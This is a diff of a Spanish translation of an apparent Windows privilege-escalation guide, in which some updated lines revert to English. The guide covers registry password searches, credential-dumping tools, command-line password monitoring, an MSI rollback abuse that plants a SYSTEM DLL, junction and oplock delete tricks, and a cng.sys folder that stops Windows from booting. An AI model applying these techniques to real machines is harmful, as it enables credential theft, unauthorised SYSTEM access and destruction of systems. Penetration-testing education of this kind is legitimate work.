QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Herramientas que buscan contraseñas -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **es un plugin de msf** que he creado para **ejecutar automáticamente cada módulo POST de metasploit que busca credenciales** dentro de la víctima.\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **es un plugin de msf** que he creado para **ejecutar automáticamente todos los módulos POST de metasploit que buscan credenciales** dentro de la víctima.\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) busca automáticamente todos los archivos que contienen contraseñas mencionadas en esta página.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) es otra gran herramienta para extraer contraseñas de un sistema. -La herramienta [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) busca **sesiones**, **nombres de usuario** y **contraseñas** de varias herramientas que guardan estos datos en texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY y RDP) +La herramienta [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) busca **sessions**, **usernames** y **passwords** de varias herramientas que guardan estos datos en texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1238,30 +1256,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\ -Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\ +Imagina que **un proceso ejecutándose como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **full access**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con low privileges pero heredando todos los open handles del proceso principal**.\ +Entonces, si tienes **full access al proceso de bajos privilegios**, puedes obtener el **open handle al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Los segmentos de memoria compartida, conocidos como **pipes**, permiten la comunicación entre procesos y la transferencia de datos. +Los segmentos de memoria compartida, referidos como **pipes**, permiten la comunicación entre procesos y la transferencia de datos. -Windows proporciona una característica llamada **Named Pipes**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de named pipe** y **cliente de named pipe**. +Windows proporciona una característica llamada **Named Pipes**, que permite que procesos no relacionados compartan datos, incluso a través de diferentes redes. Esto se parece a una arquitectura cliente/servidor, con roles definidos como **named pipe server** y **named pipe client**. -Cuando se envían datos a través de un pipe por un **cliente**, el **servidor** que configuró el pipe tiene la capacidad de **asumir la identidad** del **cliente**, siempre que tenga los derechos necesarios de **SeImpersonate**. Identificar un **proceso privilegiado** que se comunica a través de un pipe que puedes imitar proporciona una oportunidad para **obtener privilegios más altos** al adoptar la identidad de ese proceso una vez que interactúa con el pipe que estableciste. Para instrucciones sobre cómo ejecutar tal ataque, se pueden encontrar guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](#from-high-integrity-to-system). +Cuando se envían datos a través de una pipe por un **client**, el **server** que configuró la pipe tiene la capacidad de **asumir la identidad** del **client**, siempre que tenga los derechos **SeImpersonate**. Identificar un **privileged process** que se comunique a través de una pipe que puedas simular te brinda la oportunidad de **obtener privilegios más altos** adoptando la identidad de ese proceso una vez que interactúe con la pipe que estableciste. Para instrucciones sobre cómo ejecutar este tipo de ataque, hay guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](#from-high-integrity-to-system). -Además, la siguiente herramienta permite **interceptar una comunicación de named pipe con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todos los pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +También la siguiente herramienta permite **interceptar una comunicación de named pipe con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todas las pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Misc +## Varios ### File Extensions that could execute stuff in Windows Consulta la página **[https://filesec.io/](https://filesec.io/)** -### **Monitoring Command Lines for passwords** +### **Monitoreo de líneas de comando en busca de contraseñas** -Al obtener un shell como usuario, puede haber tareas programadas u otros procesos que se ejecutan y **pasan credenciales en la línea de comandos**. El script a continuación captura las líneas de comandos de los procesos cada dos segundos y compara el estado actual con el estado anterior, mostrando cualquier diferencia. +Al obtener una shell como un usuario, puede haber tareas programadas u otros procesos que se estén ejecutando que **pasen credenciales en la línea de comandos**. El script abajo captura las command lines de los procesos cada dos segundos y compara el estado actual con el estado previo, mostrando cualquier diferencia. ```bash while($true) { @@ -1271,13 +1289,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Robando contraseñas de procesos +## Stealing passwords from processes -## De usuario de bajo privilegio a NT\AUTHORITY SYSTEM (CVE-2019-1388) / Bypass de UAC +## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal u otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios. +Si tienes acceso a la interfaz gráfica (vía consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar una terminal u otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios. -Esto hace posible escalar privilegios y eludir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario utilizado durante el proceso está firmado y emitido por Microsoft. +Esto permite escalar privilegios y bypassear UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario usado durante el proceso está firmado y emitido por Microsoft. Algunos de los sistemas afectados son los siguientes: ``` @@ -1323,148 +1341,148 @@ Tienes todos los archivos e información necesarios en el siguiente repositorio https://github.com/jas502n/CVE-2019-1388 -## De Administrador Nivel Medio a Alto de Integridad / Bypass de UAC +## Desde Administrator Medium a High Integrity Level / UAC Bypass -Lee esto para **aprender sobre Niveles de Integridad**: +Lee esto para **aprender sobre Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -Luego **lee esto para aprender sobre UAC y bypasses de UAC:** +Luego **lee esto para aprender sobre UAC y UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## De Eliminación/Movimiento/renombrado de Carpeta Arbitraria a EoP de SYSTEM +## De Arbitrary Folder Delete/Move/Rename a SYSTEM EoP -La técnica descrita [**en esta publicación de blog**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) con un código de exploit [**disponible aquí**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +La técnica descrita [**en este blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) con un exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -El ataque consiste básicamente en abusar de la función de reversión del Instalador de Windows para reemplazar archivos legítimos por maliciosos durante el proceso de desinstalación. Para esto, el atacante necesita crear un **instalador MSI malicioso** que se utilizará para secuestrar la carpeta `C:\Config.Msi`, que luego será utilizada por el Instalador de Windows para almacenar archivos de reversión durante la desinstalación de otros paquetes MSI donde los archivos de reversión habrían sido modificados para contener la carga maliciosa. +El ataque básicamente consiste en abusar de la feature de rollback de Windows Installer para reemplazar archivos legítimos por maliciosos durante el proceso de desinstalación. Para ello el atacante necesita crear un **malicious MSI installer** que será usado para hijackear la carpeta `C:\Config.Msi`, la cual luego será usada por Windows Installer para almacenar archivos de rollback durante la desinstalación de otros paquetes MSI donde los archivos de rollback habrían sido modificados para contener el payload malicioso. La técnica resumida es la siguiente: -1. **Etapa 1 – Preparándose para el Secuestro (dejar `C:\Config.Msi` vacío)** +1. **Etapa 1 – Preparing for the Hijack (dejar `C:\Config.Msi` vacío)** -- Paso 1: Instalar el MSI -- Crear un `.msi` que instale un archivo inofensivo (por ejemplo, `dummy.txt`) en una carpeta escribible (`TARGETDIR`). -- Marcar el instalador como **"Compatible con UAC"**, para que un **usuario no administrador** pueda ejecutarlo. -- Mantener un **manejador** abierto al archivo después de la instalación. +- Paso 1: Install the MSI +- Crea un `.msi` que instale un archivo inofensivo (p. ej., `dummy.txt`) en una carpeta escribible (`TARGETDIR`). +- Marca el installer como **"UAC Compliant"**, de modo que un **usuario no administrador** pueda ejecutarlo. +- Mantén un **handle** abierto al archivo después de la instalación. -- Paso 2: Comenzar Desinstalación -- Desinstalar el mismo `.msi`. -- El proceso de desinstalación comienza a mover archivos a `C:\Config.Msi` y renombrarlos a archivos `.rbf` (copias de seguridad de reversión). -- **Consultar el manejador de archivo abierto** usando `GetFinalPathNameByHandle` para detectar cuándo el archivo se convierte en `C:\Config.Msi\.rbf`. +- Paso 2: Begin Uninstall +- Desinstala el mismo `.msi`. +- El proceso de desinstalación comienza a mover archivos a `C:\Config.Msi` y renombrarlos a archivos `.rbf` (rollback backups). +- **Consulta el handle de archivo abierto** usando `GetFinalPathNameByHandle` para detectar cuándo el archivo se convierte en `C:\Config.Msi\.rbf`. -- Paso 3: Sincronización Personalizada -- El `.msi` incluye una **acción de desinstalación personalizada (`SyncOnRbfWritten`)** que: -- Señala cuando se ha escrito el `.rbf`. -- Luego **espera** en otro evento antes de continuar con la desinstalación. +- Paso 3: Custom Syncing +- El `.msi` incluye una **custom uninstall action (`SyncOnRbfWritten`)** que: + - Señala cuando se ha escrito `.rbf`. + - Luego **espera** a otro evento antes de continuar la desinstalación. -- Paso 4: Bloquear Eliminación de `.rbf` -- Cuando se señala, **abrir el archivo `.rbf`** sin `FILE_SHARE_DELETE` — esto **previene que sea eliminado**. -- Luego **señalar de vuelta** para que la desinstalación pueda finalizar. -- El Instalador de Windows no puede eliminar el `.rbf`, y como no puede eliminar todo el contenido, **`C:\Config.Msi` no se elimina**. +- Paso 4: Block Deletion of `.rbf` +- Cuando se recibe la señal, **abre el archivo `.rbf`** sin `FILE_SHARE_DELETE` — esto **impide que sea eliminado**. +- Luego **envía la señal de vuelta** para que la desinstalación pueda terminar. +- Windows Installer no puede eliminar el `.rbf`, y como no puede borrar todo el contenido, **`C:\Config.Msi` no se elimina**. -- Paso 5: Eliminar Manualmente `.rbf` -- Tú (atacante) eliminas el archivo `.rbf` manualmente. -- Ahora **`C:\Config.Msi` está vacío**, listo para ser secuestrado. +- Paso 5: Manually Delete `.rbf` +- Tú (attacker) borras el archivo `.rbf` manualmente. +- Ahora **`C:\Config.Msi` está vacío**, listo para ser hijacked. -> En este punto, **dispara la vulnerabilidad de eliminación de carpeta arbitraria a nivel de SYSTEM** para eliminar `C:\Config.Msi`. +> En este punto, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. -2. **Etapa 2 – Reemplazando Scripts de Reversión con Maliciosos** +2. **Etapa 2 – Replacing Rollback Scripts with Malicious Ones** -- Paso 6: Recrear `C:\Config.Msi` con ACLs Débiles -- Recrear la carpeta `C:\Config.Msi` tú mismo. -- Establecer **DACLs débiles** (por ejemplo, Everyone:F), y **mantener un manejador abierto** con `WRITE_DAC`. +- Paso 6: Recreate `C:\Config.Msi` with Weak ACLs +- Recrea la carpeta `C:\Config.Msi` tú mismo. +- Establece **weak DACLs** (p. ej., Everyone:F), y **mantén un handle abierto** con `WRITE_DAC`. -- Paso 7: Ejecutar Otra Instalación -- Instalar el `.msi` nuevamente, con: -- `TARGETDIR`: Ubicación escribible. -- `ERROROUT`: Una variable que desencadena un fallo forzado. -- Esta instalación se utilizará para desencadenar **reversión** nuevamente, que lee `.rbs` y `.rbf`. +- Paso 7: Run Another Install +- Instala el `.msi` de nuevo, con: + - `TARGETDIR`: Ubicación escribible. + - `ERROROUT`: Una variable que fuerza un fallo. +- Esta instalación se usará para desencadenar el **rollback** de nuevo, que leerá `.rbs` y `.rbf`. -- Paso 8: Monitorear por `.rbs` -- Usar `ReadDirectoryChangesW` para monitorear `C:\Config.Msi` hasta que aparezca un nuevo `.rbs`. -- Capturar su nombre de archivo. +- Paso 8: Monitor for `.rbs` +- Usa `ReadDirectoryChangesW` para monitorizar `C:\Config.Msi` hasta que aparezca un nuevo `.rbs`. +- Captura su nombre de archivo. -- Paso 9: Sincronizar Antes de la Reversión -- El `.msi` contiene una **acción de instalación personalizada (`SyncBeforeRollback`)** que: -- Señala un evento cuando se crea el `.rbs`. -- Luego **espera** antes de continuar. +- Paso 9: Sync Before Rollback +- El `.msi` contiene una **custom install action (`SyncBeforeRollback`)** que: + - Señala un evento cuando se crea el `.rbs`. + - Luego **espera** antes de continuar. -- Paso 10: Reaplicar ACL Débil -- Después de recibir el evento de `.rbs creado`: -- El Instalador de Windows **reaplica ACLs fuertes** a `C:\Config.Msi`. -- Pero como aún tienes un manejador con `WRITE_DAC`, puedes **reaplicar ACLs débiles** nuevamente. +- Paso 10: Reapply Weak ACL +- Después de recibir el evento `.rbs created`: + - Windows Installer **reaplica strong ACLs** a `C:\Config.Msi`. + - Pero como aún tienes un handle con `WRITE_DAC`, puedes **reaplicar weak ACLs** otra vez. -> Las ACLs son **solo aplicadas al abrir el manejador**, así que aún puedes escribir en la carpeta. +> ACLs are **only enforced on handle open**, so you can still write to the folder. -- Paso 11: Dejar Caer Falsos `.rbs` y `.rbf` -- Sobrescribir el archivo `.rbs` con un **script de reversión falso** que le dice a Windows que: -- Restaure tu archivo `.rbf` (DLL maliciosa) en una **ubicación privilegiada** (por ejemplo, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Dejar caer tu falso `.rbf` que contiene una **carga útil DLL maliciosa a nivel de SYSTEM**. +- Paso 11: Drop Fake `.rbs` and `.rbf` +- Sobrescribe el archivo `.rbs` con un **fake rollback script** que indica a Windows que: + - Restaure tu archivo `.rbf` (malicious DLL) en una ubicación privilegiada (p. ej., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). + - Deje tu `.rbf` falso que contiene una **malicious SYSTEM-level payload DLL**. -- Paso 12: Desencadenar la Reversión -- Señalar el evento de sincronización para que el instalador reanude. -- Una **acción personalizada de tipo 19 (`ErrorOut`)** está configurada para **fallar intencionalmente la instalación** en un punto conocido. -- Esto provoca que **comience la reversión**. +- Paso 12: Trigger the Rollback +- Señala el evento de sincronización para que el installer continúe. +- Se configura una **type 19 custom action (`ErrorOut`)** para **fallar intencionadamente la instalación** en un punto conocido. +- Esto provoca que **rollback comience**. -- Paso 13: SYSTEM Instala Tu DLL -- El Instalador de Windows: -- Lee tu malicioso `.rbs`. -- Copia tu DLL `.rbf` en la ubicación de destino. -- Ahora tienes tu **DLL maliciosa en una ruta cargada por SYSTEM**. +- Paso 13: SYSTEM Installs Your DLL +- Windows Installer: + - Lee tu `.rbs` malicioso. + - Copia tu DLL `.rbf` en la ubicación objetivo. +- Ahora tienes tu **malicious DLL en una ruta cargada por SYSTEM**. -- Paso Final: Ejecutar Código de SYSTEM -- Ejecutar un **binario auto-elevado de confianza** (por ejemplo, `osk.exe`) que carga la DLL que secuestraste. +- Final Step: Execute SYSTEM Code +- Ejecuta un binario de confianza **auto-elevated** (p. ej., `osk.exe`) que cargue la DLL que hijackeaste. - **Boom**: Tu código se ejecuta **como SYSTEM**. -### De Eliminación/Movimiento/renombrado de Archivo Arbitrario a EoP de SYSTEM +### De Arbitrary File Delete/Move/Rename a SYSTEM EoP -La técnica principal de reversión de MSI (la anterior) asume que puedes eliminar una **carpeta completa** (por ejemplo, `C:\Config.Msi`). Pero, ¿qué pasa si tu vulnerabilidad solo permite **eliminación de archivos arbitrarios**? +La técnica principal de rollback de MSI (la anterior) asume que puedes eliminar una carpeta entera (p. ej., `C:\Config.Msi`). ¿Pero qué pasa si tu vulnerabilidad solo permite eliminación arbitraria de archivos? -Podrías explotar **internos de NTFS**: cada carpeta tiene un flujo de datos alternativo oculto llamado: +Podrías explotar los internals de NTFS: cada carpeta tiene un flujo de datos alternativo oculto llamado: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Este flujo almacena los **metadatos del índice** de la carpeta. +Este stream almacena los **metadatos del índice** de la carpeta. -Así que, si **eliminás el flujo `::$INDEX_ALLOCATION`** de una carpeta, NTFS **elimina toda la carpeta** del sistema de archivos. +Por lo tanto, si **eliminas el stream `::$INDEX_ALLOCATION`** de una carpeta, NTFS **elimina la carpeta completa** del sistema de archivos. -Puedes hacer esto utilizando APIs estándar de eliminación de archivos como: +Puedes hacer esto usando APIs estándar de eliminación de archivos como: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Aunque estás llamando a una API de eliminación de *archivo*, **elimina la carpeta misma**. +> Aunque estás llamando a una API de eliminación de *archivo*, **elimina la carpeta en sí**. -### De eliminación de contenidos de carpeta a EoP de SYSTEM -¿Qué pasa si tu primitiva no te permite eliminar archivos/carpetas arbitrarios, pero **sí permite la eliminación de los *contenidos* de una carpeta controlada por el atacante**? +### De Folder Contents Delete a SYSTEM EoP +¿Qué pasa si tu primitive no te permite eliminar archivos/carpetas arbitrarios, pero **sí permite la eliminación de los *contenidos* de una carpeta controlada por el atacante**? 1. Paso 1: Configura una carpeta y archivo de cebo -- Crea: `C:\temp\folder1` -- Dentro de ella: `C:\temp\folder1\file1.txt` +- Create: `C:\temp\folder1` +- Inside it: `C:\temp\folder1\file1.txt` 2. Paso 2: Coloca un **oplock** en `file1.txt` -- El oplock **pausa la ejecución** cuando un proceso privilegiado intenta eliminar `file1.txt`. +- The oplock **pausa la ejecución** cuando un proceso privilegiado intenta eliminar `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Paso 3: Activar el proceso SYSTEM (por ejemplo, `SilentCleanup`) -- Este proceso escanea carpetas (por ejemplo, `%TEMP%`) y trata de eliminar su contenido. -- Cuando llega a `file1.txt`, se **activa el oplock** y se entrega el control a tu callback. +3. Paso 3: Activar el proceso SYSTEM (p. ej., `SilentCleanup`) +- Este proceso escanea carpetas (p. ej., `%TEMP%`) e intenta eliminar su contenido. +- Cuando llega a `file1.txt`, el **oplock se activa** y cede el control a tu callback. -4. Paso 4: Dentro del callback del oplock – redirigir la eliminación +4. Paso 4: Dentro del callback del oplock – redirige la eliminación - Opción A: Mover `file1.txt` a otro lugar - Esto vacía `folder1` sin romper el oplock. -- No elimines `file1.txt` directamente — eso liberaría el oplock prematuramente. +- No borres `file1.txt` directamente — eso liberaría el oplock prematuramente. - Opción B: Convertir `folder1` en una **junction**: ```bash @@ -1476,124 +1494,124 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Esto apunta al flujo interno de NTFS que almacena metadatos de la carpeta; eliminarlo elimina la carpeta. +> Esto apunta al stream interno de NTFS que almacena los metadatos de la carpeta — eliminarlo elimina la carpeta. 5. Paso 5: Liberar el oplock - El proceso SYSTEM continúa e intenta eliminar `file1.txt`. -- Pero ahora, debido a la unión + symlink, en realidad está eliminando: +- Pero ahora, debido a la junction + symlink, en realidad está eliminando: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Resultado**: `C:\Config.Msi` es eliminado por SYSTEM. -### De Crear Carpeta Arbitraria a DoS Permanente +### De creación arbitraria de carpetas a DoS permanente -Exploita un primitivo que te permite **crear una carpeta arbitraria como SYSTEM/admin** — incluso si **no puedes escribir archivos** o **establecer permisos débiles**. +Aprovecha una primitiva que te permite **crear una carpeta arbitraria como SYSTEM/admin** — incluso si **no puedes escribir archivos** o **establecer permisos débiles**. -Crea una **carpeta** (no un archivo) con el nombre de un **controlador crítico de Windows**, por ejemplo: +Crea una **carpeta** (no un archivo) con el nombre de un **controlador crítico de Windows**, p. ej.: ``` C:\Windows\System32\cng.sys ``` -- Esta ruta normalmente corresponde al controlador de modo kernel `cng.sys`. -- Si **lo pre-creas como una carpeta**, Windows no logra cargar el controlador real al iniciar. -- Luego, Windows intenta cargar `cng.sys` durante el arranque. +- Esta ruta normalmente corresponde al `cng.sys` controlador en modo kernel. +- Si **lo creas previamente como una carpeta**, Windows no carga el controlador real en el arranque. +- Entonces, Windows intenta cargar `cng.sys` durante el arranque. - Ve la carpeta, **no logra resolver el controlador real**, y **se bloquea o detiene el arranque**. -- No hay **opción de recuperación**, y **sin recuperación** sin intervención externa (por ejemplo, reparación de arranque o acceso al disco). +- No hay **alternativa**, y no hay **recuperación** sin intervención externa (p. ej., reparación de arranque o acceso al disco). -## **De Alta Integridad a Sistema** +## **De High Integrity a SYSTEM** ### **Nuevo servicio** -Si ya estás ejecutando un proceso de Alta Integridad, el **camino hacia SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**: +Si ya estás ejecutando en un proceso High Integrity, la **ruta a SYSTEM** puede ser sencilla simplemente **creando y ejecutando un nuevo servicio**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Al crear un binario de servicio, asegúrate de que sea un servicio válido o que el binario realice las acciones necesarias rápidamente, ya que será terminado en 20 segundos si no es un servicio válido. +> Al crear un binario de servicio asegúrate de que sea un servicio válido o de que el binario realice las acciones necesarias rápidamente, ya que será terminado en 20s si no es un servicio válido. ### AlwaysInstallElevated -Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell inverso usando un _**.msi**_ wrapper.\ -[Más información sobre las claves del registro involucradas y cómo instalar un paquete _.msi_ aquí.](#alwaysinstallelevated) +From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) -### Privilegio High + SeImpersonate a System +### High + SeImpersonate privilege to System **Puedes** [**encontrar el código aquí**](seimpersonate-from-high-to-system.md)**.** -### De SeDebug + SeImpersonate a privilegios de token completo +### From SeDebug + SeImpersonate to Full Token privileges -Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\ -Usar esta técnica generalmente **implica seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\ -**Puedes encontrar un** [**ejemplo de código que ejecuta la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.** +If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\ +Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ +**Puedes encontrar un** [**ejemplo de código ejecutando la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe usando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios de SYSTEM.\ -Si quieres [**aprender más sobre pipes nombrados, deberías leer esto**](#named-pipe-client-impersonation).\ -Si quieres leer un ejemplo de [**cómo pasar de alta integridad a System usando pipes nombrados, deberías leer esto**](from-high-integrity-to-system-with-name-pipes.md). +This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso** que se ejecuta como **SYSTEM**, podrás ejecutar código arbitrario con esos permisos. Por lo tanto, el Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es **mucho más fácil de lograr desde un proceso de alta integridad** ya que tendrá **permisos de escritura** en las carpetas utilizadas para cargar dlls.\ -**Puedes** [**aprender más sobre Dll hijacking aquí**](dll-hijacking/index.html)**.** +If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\ +**Puedes** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** -### **De Administrador o Servicio de Red a System** +### **From Administrator or Network Service to System** - [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) - [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) - [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) -### De SERVICIO LOCAL o SERVICIO DE RED a privilegios completos +### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Lee:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Más ayuda +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Herramientas útiles +## Useful tools -**Mejor herramienta para buscar vectores de escalada de privilegios locales en Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Verifica configuraciones incorrectas y archivos sensibles (**[**ver aquí**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detectado.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Verifica algunas posibles configuraciones incorrectas y recopila información (**[**ver aquí**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica configuraciones incorrectas**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrae credenciales del Administrador de Credenciales. Detectado.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rocía contraseñas recopiladas a través del dominio**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofeador y herramienta de hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeración básica de privesc en Windows**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED para Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de administrador)** +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Comprueba misconfiguraciones y archivos sensibles (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detectado.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Comprueba posibles misconfiguraciones y recopila información (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Comprueba misconfiguraciones**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Use -Thorough en local.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrae credenciales del Credential Manager. Detectado.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Prueba (spray) las contraseñas recolectadas en el dominio**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es una herramienta PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer y man-in-the-middle.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeración básica de Windows para privesc**\ 